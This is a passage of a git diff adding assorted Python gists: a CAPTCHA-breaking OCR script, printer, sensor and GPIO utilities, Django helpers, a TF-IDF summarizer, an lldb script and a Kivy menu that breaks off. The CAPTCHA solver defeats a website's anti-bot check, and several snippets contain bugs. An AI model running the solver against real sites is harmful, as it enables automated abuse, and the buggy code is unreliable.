diff --git a/hard-gists/95a2a749ceb47ad4eb1ff6d1f8d73c5c/._snippet.py b/hard-gists/95a2a749ceb47ad4eb1ff6d1f8d73c5c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/95a2a749ceb47ad4eb1ff6d1f8d73c5c/._snippet.py differ
diff --git a/hard-gists/95a2a749ceb47ad4eb1ff6d1f8d73c5c/snippet.py b/hard-gists/95a2a749ceb47ad4eb1ff6d1f8d73c5c/snippet.py
new file mode 100644
index 00000000..016e4063
--- /dev/null
+++ b/hard-gists/95a2a749ceb47ad4eb1ff6d1f8d73c5c/snippet.py
@@ -0,0 +1,329 @@
+#!/usr/bin/env python
+# coding: utf-8
+import requests
+import StringIO
+from PIL import Image
+import os
+import time
+
+YES = 'X'
+NO = '-'
+BLACK = 0
+WHITE = 255
+HERE = os.path.dirname(os.path.abspath(__file__))
+THRESHOLD = 135  # calculated manually by find_threshold()
+
+def get_img(url, **kwargs):
+    """ download image from url
+    return Image object
+    """
+    r = requests.get(url, **kwargs)
+    return Image.open(StringIO.StringIO(r.content))
+
+
+def grey_img(image):
+    """ too slow to be replaced by Image.convert()
+    """
+    gray_image = Image.new('L', image.size)
+    gray_data = []
+    raw_data = image.getdata()
+    for r, g, b in raw_data:
+        value = 0.299 * r + 0.578 * g + 0.114 * b
+        # value = 0.44 * r + 0.44 * g + 0.44 * b
+    gray_image.putdata(gray_data)
+    return gray_image
+
+
+def binarization(image ,threshold=127):
+    """
+    first convert RGB img to grey img
+    image: Image  object
+    threshold: int
+    return modes “L” (luminance) greyscale image object
+    """
+    # img = grey_img(image)
+    img = image.convert('L')
+    raw_data = img.getdata()
+    bin_data = []
+    for d in raw_data:
+        if d < threshold:
+            bin_data.append(BLACK)
+        else:
+            bin_data.append(WHITE)
+    img.putdata(bin_data)
+    return img
+
+
+def xprojection(img, box=()):
+    """
+    box is region of the img
+        box: (left, upper, right, lower)
+    return: list
+    """
+    if not box:
+        left, upper, (right, lower) = 0, 0, img.size
+    else:
+        left, upper, right, lower = box
+    shadow = [0]*(right-left)
+    for x in xrange(left, right):
+        for y in xrange(upper, lower):
+            if img.getpixel((x, y)) == BLACK:
+                shadow[x] += 1
+    return shadow
+
+
+def yprojection(img, box=()):
+    """
+    box is region of the img
+        box: (left, upper, right, lower)
+    return: list
+    """
+    if not box:
+        left, upper, (right, lower) = 0, 0, img.size
+    else:
+        left, upper, right, lower = box
+    shadow = [0]*(lower-upper)
+    for y in xrange(upper, lower):
+        for x in xrange(left, right):
+            if img.getpixel((x, y)) == BLACK:
+                shadow[y] += 1
+    return shadow
+
+
+def continuous_lines(segment, single=0):
+    """ projection data partitioning the range
+    segment: list by xprojection() or yprojection()
+    single: boolean
+    return list
+    """
+    if single:
+        length = len(segment)
+        start, end = 0, length
+        for i in segment:
+            if i > 0:
+                break
+            else:
+                start += 1
+        else:
+            start = 0
+        for i in segment[::-1]:
+            if i > 0:
+                break
+            else:
+                end -= 1
+        else:
+            end = 0
+        return [start, end]
+    else:
+        areas = []
+        start_end = []
+        pre = 0
+        length = len(segment)
+        for i, j in enumerate(segment):
+            if j > 0:
+                if pre == BLACK:  # segment head
+                    start_end = [i, None]  
+                elif i == (length-1):  # segment end
+                    start_end[1] = i+1 # end, range+1
+                    areas.append(start_end)
+            else:  # j == 0
+                if start_end:
+                    start_end[1] = i # end, range+1
+                    areas.append(start_end)
+                    start_end = []
+            pre = j
+        return areas
+
+def lonely_pixel(pixs, pos):
+    """
+    pixs:  image.load()
+    pos: (x,y)
+    """
+    x,y = pos
+    xy = [-1,0,1]
+    for i in xy:
+        for j in xy:
+            if i==0 and j==0:
+                continue  # pixel self
+            try:
+                p = pixs[x+i,y+j]
+            except IndexError:
+                p = WHITE
+            if p == BLACK:
+                return False
+    return True
+
+
+def minesweeper(img):
+    """ clear the only one black pixel in 2x2 grid
+    img: img object must be mode "L"
+    """
+    def _2x2(pixs, pos):  # only black in 2x2
+        x,y = pos
+        m = None
+        for i in range(0,2):
+            for j in range(0,2):
+                try:
+                    p = pixs[x+i,y+j]
+                except IndexError:
+                    p = WHITE
+                if p == BLACK:
+                    if m: # already have a black pixel
+                        return None
+                    else:
+                        m = (x+i, y+j)
+        return m
+
+    pixs = img.load()
+    width, heigh = img.size
+    for w in range(0, width, 2):
+        for h in range(0, heigh, 2):
+            m = _2x2(pixs, (w,h))
+            if m:
+                if lonely_pixel(pixs, m):
+                    x,y = m
+                    pixs[x,y] = WHITE
+    return img
+
+
+def img_split(img):
+    """
+    parts of as small as possible world area
+    return list region of image  object
+    """
+    xsize, ysize = img.size
+    xsegment = xprojection(img)
+    xs = continuous_lines(xsegment)
+    regions = []
+    for i,(start_x, end_x) in enumerate(xs):
+        ysegment = yprojection(img, (start_x, 0, end_x, ysize))
+        start_y, end_y = continuous_lines(ysegment, 1)
+        box = (start_x, start_y, end_x, end_y)
+        region = img.crop(box)
+        regions.append(region)
+    return regions
+
+
+def img2str(img):
+    """
+    img: Image object
+    return string
+    """
+    xsize, ysize = img.size
+    content = ''
+    for y in xrange(ysize):
+        line = ''
+        for x in xrange(xsize):
+            c = YES if img.getpixel((x, y)) == BLACK else NO
+            line += c
+        content += '%s\n' %line
+    return content
+
+
+def img_compare(imga, imgb):
+    """
+    :imga source img
+    :imgb model img
+    return  0 <= float <= 1
+    """
+    count = 0
+    a_x = xprojection(imga)
+    b_x = xprojection(imgb)
+    for i, n in enumerate(a_x):
+        try:
+            count += abs(n - b_x[i])
+        except IndexError as e:
+            count += n
+    a_y = yprojection(imga)
+    b_y = yprojection(imgb)
+    for i, n in enumerate(a_y):
+        try:
+            count += abs(n - b_y[i])
+        except IndexError as e:
+            count += n
+    x,y = imga.size
+    return 1-count/2.0/(x*y)
+
+
+def models_match(img):
+    """
+    return str, model name
+    """
+    counts = []
+    models_path = os.path.join(HERE, 'models')
+    filenames = filter(lambda n: n.endswith('png'), os.listdir(models_path))
+    file_paths = map(lambda n: os.path.join(models_path, '%s' %n), filenames)
+    for f in file_paths:
+        model_img = Image.open(f)
+        result = img_compare(img, model_img)
+        if  result == 1.0: 
+            return os.path.splitext(os.path.basename(f))[0]
+        counts.append(result)
+    else:
+        index = counts.index(max(counts))
+        return os.path.splitext(filenames[index])[0]
+
+
+def gen_models():
+    filenames = filter(lambda n: n.endswith('png'), os.listdir('models'))
+    for f in filenames:
+        name = os.path.splitext(f)[0]
+        with open(os.path.join('models', '%s.txt' %name), 'w') as txt:
+            img = Image.open('models/%s' %f)
+            content = img2str(img)
+            img.close()
+            txt.write(content)
+
+def find_threshold():
+    """ compare threshold effect by manually
+    """
+    captcha = get_img(JZWJW_CAPTCHA_URL)
+    for i in range(80,200):
+        bin_captcha = binarization(captcha, i)
+        bin_captcha.save(os.path.join('training','%s.png' %i ))
+        bin_captcha.close()
+
+def train():
+    """ test for img_split
+    """
+    captcha = get_img(CAPTCHA_URL)
+    bin_captcha = binarization(captcha, THRESHOLD)
+    bin_captcha = minesweeper(bin_captcha)
+    name = time.time()
+    bin_captcha.save(os.path.join('training','%s.png' %name ))
+    img_crop = img_split(bin_captcha)
+    for i,img in enumerate(img_crop):
+        img.save(os.path.join('training','%s-%s.png' %(name,i)))
+    bin_captcha.close()
+
+
+def hack_captcha(img, n=4):
+    """ guess the captcha code, main to be used
+    img: Image object
+    n: char in the image
+    return str
+    """
+    code = ''
+    bin_captcha = binarization(img, THRESHOLD)
+    bin_captcha = minesweeper(bin_captcha)
+    for img in img_split(bin_captcha):
+        code += models_match(img)
+    return code[:n]
+
+
+def main():
+    """ test for hack_captcha()
+    """
+    count = 0
+    for i in xrange(10):
+        captcha = get_img(JZWJW_CAPTCHA_URL)
+        captcha.show()
+        print hack_captcha(captcha)
+        r = raw_input('Y/N')
+        if r == '\n':
+            count += 1
+    print count
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/95c61c9a1501ada2a6c5/._snippet.py b/hard-gists/95c61c9a1501ada2a6c5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/95c61c9a1501ada2a6c5/._snippet.py differ
diff --git a/hard-gists/95c61c9a1501ada2a6c5/snippet.py b/hard-gists/95c61c9a1501ada2a6c5/snippet.py
new file mode 100644
index 00000000..5bcedaa6
--- /dev/null
+++ b/hard-gists/95c61c9a1501ada2a6c5/snippet.py
@@ -0,0 +1,47 @@
+#!/usr/bin/python
+# esc-pos-image-star.py - print image files given as command line arguments
+#                         to simple ESC-POS image on stdout
+#                         using ESC * \x21
+# scruss - 2014-07-26 - WTFPL (srsly)
+
+import sys
+from PIL import Image
+import PIL.ImageOps
+import struct
+
+# give usage and exit if no arguments
+if len(sys.argv) == 1:
+    print 'Usage:', sys.argv[0], \
+           'image1 image2 ... [ > printer_device ]'
+    exit(1)
+
+# print all of the images!
+for i in sys.argv[1:]:
+    im = Image.open(i)
+
+    # if image is not 1-bit, convert it
+    if im.mode != '1':
+        im = im.convert('1')
+
+    # if image height is not a multiple of 24 pixels, fix that
+    if im.size[1] % 24:
+        im2 = Image.new('1', (im.size[0], im.size[1] + 24 - im.size[1] % 24), 'white')
+        im2.paste(im, (0, 0))
+        im = im2
+
+    # Invert image, via greyscale for compatibility
+    #  (no, I don't know why I need to do this)
+    im = PIL.ImageOps.invert(im.convert('L'))
+    # ... and now convert back to single bit
+    im = im.convert('1')
+
+    # rotate 90 degrees for output
+    p_im=im.transpose(Image.ROTATE_90).transpose(Image.FLIP_TOP_BOTTOM)
+
+    for row in range(p_im.size[0]/24):
+        strip=p_im.crop((row * 24, 0, (row + 1) * 24, p_im.size[1]))
+        sys.stdout.write(''.join(('\x1b*\x21',
+                                  struct.pack('2B',p_im.size[1] % 256,
+                                              p_im.size[1] / 256),
+                                              strip.tobytes())))
+                      
diff --git a/hard-gists/95c66d564c58361ecf9f/._snippet.py b/hard-gists/95c66d564c58361ecf9f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/95c66d564c58361ecf9f/._snippet.py differ
diff --git a/hard-gists/95c66d564c58361ecf9f/snippet.py b/hard-gists/95c66d564c58361ecf9f/snippet.py
new file mode 100644
index 00000000..b5e309be
--- /dev/null
+++ b/hard-gists/95c66d564c58361ecf9f/snippet.py
@@ -0,0 +1,136 @@
+#!/usr/bin/python2
+# vim: expandtab ts=4 sw=4
+# Inspired by http://www.raspberrypi-spy.co.uk/2015/03/bh1750fvi-i2c-digital-light-intensity-sensor/
+
+
+import smbus
+import time
+
+class BH1750():
+    """ Implement BH1750 communication. """
+    # Define some constants from the datasheet
+    POWER_DOWN = 0x00 # No active state
+    POWER_ON   = 0x01 # Power on
+    RESET      = 0x07 # Reset data register value
+    # Start measurement at 4lx resolution. Time typically 16ms.
+    CONTINUOUS_LOW_RES_MODE = 0x13
+    # Start measurement at 1lx resolution. Time typically 120ms
+    CONTINUOUS_HIGH_RES_MODE_1 = 0x10
+    # Start measurement at 0.5lx resolution. Time typically 120ms
+    CONTINUOUS_HIGH_RES_MODE_2 = 0x11
+    # Start measurement at 1lx resolution. Time typically 120ms
+    # Device is automatically set to Power Down after measurement.
+    ONE_TIME_HIGH_RES_MODE_1 = 0x20
+    # Start measurement at 0.5lx resolution. Time typically 120ms
+    # Device is automatically set to Power Down after measurement.
+    ONE_TIME_HIGH_RES_MODE_2 = 0x21
+    # Start measurement at 1lx resolution. Time typically 120ms
+    # Device is automatically set to Power Down after measurement.
+    ONE_TIME_LOW_RES_MODE = 0x23
+
+    def __init__(self, bus, addr=0x23):
+        self.bus = bus
+        self.addr = addr
+        self.power_down()
+        self.set_sensitivity()
+
+    def _set_mode(self, mode):
+        self.mode = mode
+        self.bus.write_byte(self.addr, self.mode)
+
+    def power_down(self):
+        self._set_mode(self.POWER_DOWN)
+
+    def power_on(self):
+        self._set_mode(self.POWER_ON)
+
+    def reset(self):
+        self.power_on() #It has to be powered on before resetting
+        self._set_mode(self.RESET)
+
+    def cont_low_res(self):
+        self._set_mode(self.CONTINUOUS_LOW_RES_MODE)
+
+    def cont_high_res(self):
+        self._set_mode(self.CONTINUOUS_HIGH_RES_MODE_1)
+
+    def cont_high_res2(self):
+        self._set_mode(self.CONTINUOUS_HIGH_RES_MODE_2)
+
+    def oneshot_low_res(self):
+        self._set_mode(self.ONE_TIME_LOW_RES_MODE)
+
+    def oneshot_high_res(self):
+        self._set_mode(self.ONE_TIME_HIGH_RES_MODE_1)
+
+    def oneshot_high_res2(self):
+        self._set_mode(self.ONE_TIME_HIGH_RES_MODE_2)
+
+    def set_sensitivity(self, sensitivity=69):
+        """ Set the sensor sensitivity.
+            Valid values are 31 (lowest) to 254 (highest), default is 69.
+        """
+        if sensitivity < 31:
+            self.mtreg = 31
+        elif sensitivity > 254:
+            self.mtreg = 254
+        else:
+            self.mtreg = sensitivity
+        self.power_on()
+        self._set_mode(0x40 | (self.mtreg >> 5))
+        self._set_mode(0x60 | (self.mtreg & 0x1f))
+        self.power_down()
+
+    def get_result(self):
+        """ Return current measurement result in lx. """   
+        data = self.bus.read_word_data(self.addr, self.mode)
+        count = data >> 8 | (data&0xff)<<8
+        mode2coeff =  2 if (self.mode & 0x03) == 0x01 else 1
+        ratio = 1/(1.2 * (self.mtreg/69.0) * mode2coeff)
+        return ratio*count
+
+    def wait_for_result(self, additional=0):
+        basetime = 0.018 if (self.mode & 0x03) == 0x03 else 0.128
+        time.sleep(basetime * (self.mtreg/69.0) + additional)
+
+    def do_measurement(self, mode, additional_delay=0):
+        """ 
+        Perform complete measurement using command
+        specified by parameter mode with additional
+        delay specified in parameter additional_delay.
+        Return output value in Lx.
+        """
+        self.reset()
+        self._set_mode(mode)
+        self.wait_for_result(additional=additional_delay)
+        return self.get_result()
+
+    def measure_low_res(self, additional_delay=0):
+        return self.do_measurement(self.ONE_TIME_LOW_RES_MODE, additional_delay)
+
+    def measure_high_res(self, additional_delay=0):
+        return self.do_measurement(self.ONE_TIME_HIGH_RES_MODE_1, additional_delay)
+
+    def measure_high_res2(self, additional_delay=0):
+        return self.do_measurement(self.ONE_TIME_HIGH_RES_MODE_2, additional_delay)
+
+
+def main():
+
+    #bus = smbus.SMBus(0) # Rev 1 Pi uses 0
+    bus = smbus.SMBus(1)  # Rev 2 Pi uses 1
+    sensor = BH1750(bus)
+
+    while True:
+        print "Sensitivity: {:d}".format(sensor.mtreg)
+        for measurefunc, name in [(sensor.measure_low_res, "Low Res "),
+                                  (sensor.measure_high_res, "HighRes "),
+                                  (sensor.measure_high_res2, "HighRes2")]:
+            print "{} Light Level : {:3.2f} lx".format(name, measurefunc())
+        print "--------"
+        sensor.set_sensitivity((sensor.mtreg + 10) % 255)
+        time.sleep(1)
+
+
+if __name__=="__main__":
+    main()
diff --git a/hard-gists/95f97485ada5b47693ca/._snippet.py b/hard-gists/95f97485ada5b47693ca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/95f97485ada5b47693ca/._snippet.py differ
diff --git a/hard-gists/95f97485ada5b47693ca/snippet.py b/hard-gists/95f97485ada5b47693ca/snippet.py
new file mode 100644
index 00000000..432c6e92
--- /dev/null
+++ b/hard-gists/95f97485ada5b47693ca/snippet.py
@@ -0,0 +1,108 @@
+import RPi.GPIO as GPIO
+import time
+import threading
+import signal
+import sys
+import os
+
+counter = 0
+mode = 2
+GPIO_num = [22, 18, 16, 15, 13, 12, 11]
+GPIO_input = 7
+GPIO_val = [False] * len(GPIO_num)
+speed = 0.1
+debug = False
+current_state = 0
+previous_state = current_state
+
+def init():
+  print "Hi! Pid %s" % os.getpid()
+# init
+def gpio_init():
+  global GPIO_num
+
+  print "Init GPIO"
+  GPIO.setmode(GPIO.BOARD)
+  for num in GPIO_num:
+    GPIO.setup(num, GPIO.OUT)
+
+  GPIO.setup(GPIO_input, GPIO.IN, pull_up_down = GPIO.PUD_DOWN)
+
+#cleanup
+def cleanup():
+  print "Cleanup GPIO"
+  GPIO.cleanup()
+
+def pattern(counter, n):
+
+  def pattern_binary(counter, n):
+    return counter & (1 << n) > 0
+
+  def pattern_binary_blank(counter, n):
+    return counter & (1 << n) == 0
+
+  def pattern_move(counter, n):
+    return counter % len(GPIO_num) == n
+
+  def pattern_move_backwards(counter, n):
+    return counter % len(GPIO_num) == len(GPIO_num) - n - 1
+
+  def pattern_move_blank(counter, n):
+    return counter % len(GPIO_num) != n
+
+  def pattern_move_blank_backwards(counter, n):
+    return counter % len(GPIO_num) != len(GPIO_num) - n - 1
+
+  global mode, speed 
+
+
+  if mode == 0:
+    return pattern_binary(counter, n)
+  elif mode == 1:
+    return pattern_binary_blank(counter, n)
+  elif mode == 2:
+    return pattern_move(counter, n)
+  elif mode == 3:
+    return pattern_move_backwards(counter, n)
+  elif mode == 4:
+    return pattern_move_blank(counter, n)
+  elif mode == 5:
+    return pattern_move_blank_backwards(counter, n)
+
+  raise
+
+def routine():
+  global GPIO_num, GPIO_val, counter, mode, speed, current_state, previous_state
+
+  if debug:
+    print "%s %s %s %r" % (counter, speed, mode, GPIO_val)
+
+  for i in range(0, len(GPIO_num)):
+    GPIO_val[i] = pattern(counter, i)
+
+  for i in range(0, len(GPIO_num)):
+    GPIO.output(GPIO_num[i], GPIO_val[i])
+
+  counter = counter + 1
+
+  current_state = GPIO.input(GPIO_input)
+
+  if (current_state and not previous_state):
+    mode = (mode + 1) % 6
+  if (current_state != previous_state):
+    previous_state = current_state
+
+
+def routine_init():
+  try:
+    while True:
+      routine()
+      time.sleep(speed)
+
+  except KeyboardInterrupt:
+    cleanup()
+
+init()
+gpio_init()
+routine_init()
+
diff --git a/hard-gists/964472/._snippet.py b/hard-gists/964472/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/964472/._snippet.py differ
diff --git a/hard-gists/964472/snippet.py b/hard-gists/964472/snippet.py
new file mode 100644
index 00000000..0d445fe6
--- /dev/null
+++ b/hard-gists/964472/snippet.py
@@ -0,0 +1,13 @@
+from django.conf import settings
+from django.utils.importlib import import_module
+from django.contrib.auth import SESSION_KEY, BACKEND_SESSION_KEY
+
+def request_factory_login(factory, user, backend='django.contrib.backends.ModelBackend'):
+    engine = import_module(settings.SESSION_ENGINE)
+    factory.session = engine.SessionStore()
+    request.session[SESSION_KEY] = user.id
+    request.session[BACKEND_SESSION_KEY] = backend
+    factory.session.save()
+    session_cookie = settings.SESSION_COOKIE_NAME
+    factory.cookies[session_cookie] = request.session.session_key
+    
\ No newline at end of file
diff --git a/hard-gists/964622/._snippet.py b/hard-gists/964622/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/964622/._snippet.py differ
diff --git a/hard-gists/964622/snippet.py b/hard-gists/964622/snippet.py
new file mode 100644
index 00000000..c24ebc04
--- /dev/null
+++ b/hard-gists/964622/snippet.py
@@ -0,0 +1,25 @@
+from django.contrib import admin                                                                            
+from django.contrib.auth.admin import UserAdmin
+from django.contrib.auth.models import User
+from userprofiles.models import UserProfile
+
+class UserProfileInline(admin.StackedInline):
+    model = UserProfile
+    fk_name = 'user'
+    max_num = 1
+
+    def formfield_for_manytomany(self, db_field, request, **kwargs):
+        if db_field.name == "delegates_mrm":
+            kwargs["queryset"] = User.objects.extra(
+                    tables=['userprofiles_userprofile'],
+                    where=['"auth_user"."id"="userprofiles_userprofile"."user_id"'],
+                    select={'is_report':'"userprofiles_userprofile"."manager_id"=%s' % request.user.id}     
+                ).order_by('-is_report', 'username')
+        return super(UserProfileInline, self).formfield_for_manytomany(db_field, request, **kwargs)
+
+
+class CustomUserAdmin(UserAdmin):
+    inlines = [UserProfileInline,]
+
+admin.site.unregister(User)
+admin.site.register(User, CustomUserAdmin)
diff --git a/hard-gists/9646279d220994222845/._snippet.py b/hard-gists/9646279d220994222845/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9646279d220994222845/._snippet.py differ
diff --git a/hard-gists/9646279d220994222845/snippet.py b/hard-gists/9646279d220994222845/snippet.py
new file mode 100644
index 00000000..630ac12b
--- /dev/null
+++ b/hard-gists/9646279d220994222845/snippet.py
@@ -0,0 +1,128 @@
+# summarize
+# Uses TFIDF to extract relevent sentences from text.
+#
+# Author:   Benjamin Bengfort <benjamin@bengfort.com>
+# Created:  Sun Oct 26 16:06:36 2014 -0400
+#
+# ID: summarize.py [] benjamin@bengfort.com $
+
+"""
+Uses TFIDF to extract relevent sentences from text.
+
+Based off of Charlie Greenbacker's example from "A smattering of NLP with
+Python" presentation he gave a while ago.
+"""
+
+##########################################################################
+## Imports
+##########################################################################
+
+from __future__ import division
+
+import re
+import sys
+import math
+import nltk
+import time
+import random
+
+from operator import itemgetter
+from sklearn.feature_extraction.text import TfidfVectorizer
+
+##########################################################################
+## Module Fixtures
+##########################################################################
+
+lemmatizer = nltk.stem.WordNetLemmatizer()
+stopwords  = set(nltk.corpus.stopwords.words('english'))
+
+def timeit(func):
+    def wrapper(*args, **kwargs):
+        start  = time.time()
+        result = func(*args, **kwargs)
+        finit  = time.time()
+        return result, finit-start
+    return wrapper
+
+def tokenize(text):
+    for token in nltk.word_tokenize(text):
+        token = token.lower()
+        if token in stopwords or not token.isalpha():
+            continue
+        yield lemmatizer.lemmatize(token)
+
+class TfidfSummarizer(object):
+
+    def __init__(self, corpus, verbose=2):
+        self.corpus     = corpus
+        self.tokenizer  = tokenize
+        self.vectorizer = TfidfVectorizer(tokenizer=self.tokenizer, decode_error='ignore')
+        self.tdm        = None
+        self.features   = None
+
+        self.initialize_features(verbose)
+
+    def initialize_features(self, verbose=1):
+        """
+        Initializes the features and prints time taken if verbose > 0.
+        """
+
+        @timeit
+        def inner(self):
+            # articles = dict((fileid, self.corpus.raw(fileid)) for fileid in self.corpus.fileids())
+            return self.vectorizer.fit_transform(self.corpus.raw(fileid) for fileid in self.corpus.fileids())
+
+        self.tdm, delta = inner(self)
+        self.features  = self.vectorizer.get_feature_names()
+
+        if verbose > 0:
+            print "TDM contains %i terms and %i documents." % (len(self.features), self.tdm.shape[0])
+
+        if verbose > 1:
+            print "   First term:   %s" % self.features[0]
+            print "   Last term:    %s" % self.features[-1]
+
+            for idx in xrange(0, 4):
+                print "   Random term:  %s" % random.choice(self.features[1:-2])
+
+        if verbose > 0:
+            print "Featurization took %0.3f seconds\n" % delta
+
+    def score_sentences(self, fileid):
+        fileidx = self.corpus.fileids().index(fileid)
+        for sent in nltk.sent_tokenize(self.corpus.raw(fileid)):
+            score  = 0
+            for token in self.tokenizer(sent):
+                if token not in self.features: continue
+                score += self.tdm[fileidx, self.features.index(token)]
+            yield score, sent
+
+    def summarize(self, fileid):
+        """
+        Returns a summary for the given fileid
+        """
+        scores = list(self.score_sentences(fileid))
+        sumlen = int(math.ceil(len(scores) / 2 ))
+        scores.sort(key=itemgetter(0))
+
+        return scores[:sumlen]
+
+if __name__ == '__main__':
+    summarizer = TfidfSummarizer(nltk.corpus.reuters)
+    article = random.choice(nltk.corpus.reuters.fileids())
+
+    print "#"*75
+    print "## SUMMARY"
+    print "#"*75
+    print
+
+    for sent in summarizer.summarize(article):
+        print sent[1]
+
+    print
+    print "#"*75
+    print "## ORIGINAL"
+    print "#"*75
+    print nltk.corpus.reuters.raw(article)
+    print
+
diff --git a/hard-gists/9649532644540b5b798308f66699ef67/._snippet.py b/hard-gists/9649532644540b5b798308f66699ef67/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9649532644540b5b798308f66699ef67/._snippet.py differ
diff --git a/hard-gists/9649532644540b5b798308f66699ef67/snippet.py b/hard-gists/9649532644540b5b798308f66699ef67/snippet.py
new file mode 100644
index 00000000..68b4e0b8
--- /dev/null
+++ b/hard-gists/9649532644540b5b798308f66699ef67/snippet.py
@@ -0,0 +1,27 @@
+'''
+Break on Objective-C 's method using its address'
+'''
+import shlex
+import lldb
+import re
+def breakonmethod(debugger, command, exe_ctx,result, internal_dict):
+    args=shlex.split(command)
+    Class=args[0]
+    Method=args[1]
+    ClassMethod = lldb.SBCommandReturnObject()
+    CMCommand='expr -- (IMP)method_getImplementation((Method)class_getClassMethod((Class)objc_getClass("{0}"),@selector({1})));'.format(Class,Method)
+    IMCommand='expr -- (IMP)method_getImplementation((Method)class_getInstanceMethod((Class)objc_getClass("{0}"),@selector({1})));'.format(Class,Method)
+    debugger.GetCommandInterpreter().HandleCommand(CMCommand, ClassMethod)
+    InstanceMethod =lldb.SBCommandReturnObject()
+    debugger.GetCommandInterpreter().HandleCommand(IMCommand,InstanceMethod)
+    CMObj=ClassMethod.GetOutput()
+    IMObj=InstanceMethod.GetOutput()
+    CMObj=re.search(r'0x([a-zA-Z0-9]|x)*', CMObj).group(0)
+    IMObj=re.search(r'0x([a-zA-Z0-9]|x)*', IMObj).group(0)
+    CMObj=int(CMObj, 16)
+    IMObj=int(IMObj, 16)
+    ADDR=max(CMObj,IMObj)
+    debugger.HandleCommand("breakpoint set -a %i"%ADDR)
+def __lldb_init_module (debugger, dict):
+#Avoid Name Collision
+  debugger.HandleCommand('command script add -f BreakMessage.breakonmethod bom')
diff --git a/hard-gists/9655195/._snippet.py b/hard-gists/9655195/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9655195/._snippet.py differ
diff --git a/hard-gists/9655195/snippet.py b/hard-gists/9655195/snippet.py
new file mode 100644
index 00000000..6095f59b
--- /dev/null
+++ b/hard-gists/9655195/snippet.py
@@ -0,0 +1,273 @@
+'''A round menu that appears on a long touch
+'''
+from kivy.uix.widget import Widget
+from kivy.uix.label import Label
+from kivy.uix.behaviors import ButtonBehavior
+from kivy.lang import Builder
+from kivy.clock import Clock
+from kivy.animation import Animation
+from kivy.properties import (
+    NumericProperty, ListProperty, ObjectProperty, DictProperty)
+from kivy.app import App
+
+from functools import partial
+from copy import copy
+
+KV = '''
+#:import pi math.pi
+#:import cos math.cos
+#:import sin math.sin
+#:import V kivy.vector.Vector
+
+<ModernMenu>:
+    canvas.before:
+        Color:
+            rgba: 1, 0, 0, .4
+        Ellipse:
+            pos: self.center_x - self.radius, self.center_y - self.radius
+            size: self.radius * 2, self.radius * 2
+            angle_start: 0
+            angle_end: self.circle_progress * 360 * self.creation_direction
+        Color:
+            rgba: self.color
+        Line:
+            circle:
+                (
+                self.center_x, self.center_y,
+                self.radius, 0, self.circle_progress * 360 * self.creation_direction
+                )
+            width: self.line_width
+    on_touch_down:
+        V(args[1].pos).distance(self.center) < self.radius and (
+        self.back() if self.choices_history else self.dismiss())
+
+<ModernMenuLabel>:
+    size: self.texture_size
+    padding: 5, 5
+    on_press: self.callback and self.callback(self)
+
+    canvas.before:
+        Color:
+            rgba: .1, .4, .4, .9
+        Rectangle:
+            pos: self.pos
+            size: self.size
+        Line:
+            points:
+                (
+                self.center_x, self.center_y,
+                self.parent.center_x + cos(
+                self.opacity * self.index * 2 * pi / self.siblings
+                ) * self.parent.radius,
+                self.parent.center_y + sin(
+                self.opacity * self.index * 2 * pi / self.siblings
+                ) * self.parent.radius
+                ) if self.parent else []
+            width: self.parent.line_width if self.parent else 1
+
+    center:
+        (
+        self.parent.center_x +
+        cos(self.opacity * self.index * 2 * pi / self.siblings) * self.radius,
+        self.parent.center_y +
+        sin(self.opacity * self.index * 2 * pi / self.siblings) * self.radius
+        ) if (self.size and self.parent and self.parent.children) else (0, 0)
+'''
+
+
+def dist((x1, y1), (x2, y2)):
+    return ((x1 - x2) ** 2 + (y1 - y2) ** 2) ** 5
+
+
+class ModernMenuLabel(ButtonBehavior, Label):
+    index = NumericProperty(0)
+    radius = NumericProperty(100)
+    siblings = NumericProperty(1)
+    callback = ObjectProperty(None)
+
+    def on_parent(self, *args):
+        if self.parent:
+            self.parent.bind(children=self.update_siblings)
+
+    def update_siblings(self, *args):
+        if self.parent:
+            self.siblings = max(0, len(self.parent.children))
+        else:
+            self.siblings = 1
+
+
+class ModernMenu(Widget):
+    radius = NumericProperty(50)
+    circle_width = NumericProperty(5)
+    line_width = NumericProperty(2)
+    color = ListProperty([.3, .3, .3, 1])
+    circle_progress = NumericProperty(0)
+    creation_direction = NumericProperty(1)
+    creation_timeout = NumericProperty(1)
+    choices = ListProperty([])
+    item_cls = ObjectProperty(ModernMenuLabel)
+    item_args = DictProperty({'opacity': 0})
+    animation = ObjectProperty(Animation(opacity=1, d=.5))
+    choices_history = ListProperty([])
+
+    def start_display(self, touch):
+        touch.grab(self)
+        a = Animation(circle_progress=1, d=self.creation_timeout)
+        a.bind(on_complete=self.open_menu)
+        touch.ud['animation'] = a
+        a.start(self)
+
+    def open_menu(self, *args):
+        self.clear_widgets()
+        for i in self.choices:
+            kwargs = copy(self.item_args)
+            kwargs.update(i)
+            ml = self.item_cls(**kwargs)
+            self.animation.start(ml)
+            self.add_widget(ml)
+
+    def open_submenu(self, choices, *args):
+        self.choices_history.append(self.choices)
+        self.choices = choices
+        self.open_menu()
+
+    def back(self, *args):
+        self.choices = self.choices_history.pop()
+        self.open_menu()
+
+    def on_touch_move(self, touch, *args):
+        if (
+            touch.grab_current == self and
+            dist(touch.pos, touch.opos) > self.radius and
+            self.parent and
+            self.circle_progress < 1
+        ):
+            self.parent.remove_widget(self)
+
+        return super(ModernMenu, self).on_touch_move(touch, *args)
+
+    def on_touch_up(self, touch, *args):
+        if (
+            touch.grab_current == self and
+            self.parent and
+            self.circle_progress < 1
+        ):
+            self.parent.remove_widget(self)
+        return super(ModernMenu, self).on_touch_up(touch, *args)
+
+    def dismiss(self):
+        a = Animation(opacity=0)
+        a.bind(on_complete=self._remove)
+        a.start(self)
+
+    def _remove(self, *args):
+        if self.parent:
+            self.parent.remove_widget(self)
+
+
+class MenuSpawner(Widget):
